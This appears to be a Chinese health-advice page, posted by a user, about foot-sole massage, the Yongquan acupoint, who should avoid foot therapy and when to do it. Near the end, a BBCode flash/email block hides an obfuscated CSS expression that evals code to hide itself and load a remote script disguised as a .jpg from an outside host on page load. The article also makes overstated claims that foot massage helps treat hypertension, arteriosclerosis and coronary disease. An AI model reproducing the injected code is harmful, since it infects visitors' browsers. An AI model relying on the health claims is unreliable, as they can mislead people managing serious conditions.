俗話說：“樹從根老，人從腳老”，常把腳比做是人的根。
人體內(nèi)經(jīng)絡(luò)與全身各部位的器官在足部都有相應(yīng)的反射區(qū)，當(dāng)按摩足部刺激某一個反射區(qū)時，可擴張足底皮下血管，加快血脈流通，增強新陳代謝和免疫能力，對人體的各系統(tǒng)、器官都會產(chǎn)生重要的影響。因此，足底按摩對中老年人的動脈硬化、高血脂、高血壓、冠心病都有輔助治療的作用。
足底按摩是預(yù)防疾病，強身健體的最好方法，簡便易行。
足底涌泉穴是人體的“心臟”部位，是濁氣下降的地方。涌泉穴在足掌心前1/3與后2/3交界處，屈趾時凹陷的地方。按摩時可用左手心摩右腳心涌泉穴，反復(fù)按摩左右腳心各100～200次；也可用兩腳互相摩擦腳心，至腳心有發(fā)熱感為止；還可對全足各部位進行搓捏揉擦。經(jīng)常按摩涌泉穴可益精補腎、強筋壯骨、健腦益智、安心凝神，并有舒肝明目、促進睡眠等強身健體之功效。對腎虛引起的眩暈、失眠、耳鳴及防治高血壓都有一定的療效。同時，在睡前用40度左右的熱水泡腳30分鐘，有促進腳部血液循環(huán)、消除疲勞、調(diào)整臟腑生理之功能。但是也有的人習(xí)慣用太燙的熱水泡腳，這樣會使腳部血管過度擴張，血液循環(huán)和心率加快，體內(nèi)的血液更多地流向下肢，易引起心、腦、腎器官的供血不足，增加心臟的負擔(dān)，不利于有心腦血管疾病患者的健康，應(yīng)引起注意。
天天按摩腳，祛病人不老，足底按摩是一種對健康有益的養(yǎng)生保健方法，對于中老年人的健身長壽大有裨益。
什么人不適合做足療？
足底按摩并不適合所有的人。如果按摩不當(dāng)，不但不能治病，反而會使病情惡化。
1．心臟不好的人，如果在心臟的反射區(qū)按摩，就會導(dǎo)致血壓升高。
2．有潰瘍的病人，如果用力過大，會使?jié)兠娣e不斷擴大。
3．身體虛弱的病人、有皮膚病或患有骨質(zhì)疏松的人，也不要去做足療。
4．吐血、便血、腦出血、胃出血等各種嚴重出血病患者，做足療促進血液循環(huán)，有可能引起更大面積的出血。
5．婦女經(jīng)期和妊娠期，做足療可能發(fā)生大出血和流產(chǎn)的情況。
什么時間做足療？
足療最好選擇在晚上睡覺前做，這樣有利于睡眠。飯前、飯后30分鐘內(nèi)不宜進行足療，飯前做足療會抑制胃液分泌，對消化不利，飯后立即做足療會造成胃腸的血容量減少，影響消化。按摩結(jié)束后30分鐘內(nèi)最好飲一杯溫開水，這樣有利于氣血的運行，不應(yīng)喝茶、酒或其他飲料。
足底保健按摩（1）
足底保健按摩（2）
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]
本站僅提供存儲服務(wù)，所有內(nèi)容均由用戶發(fā)布，如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容，請
點擊舉報。
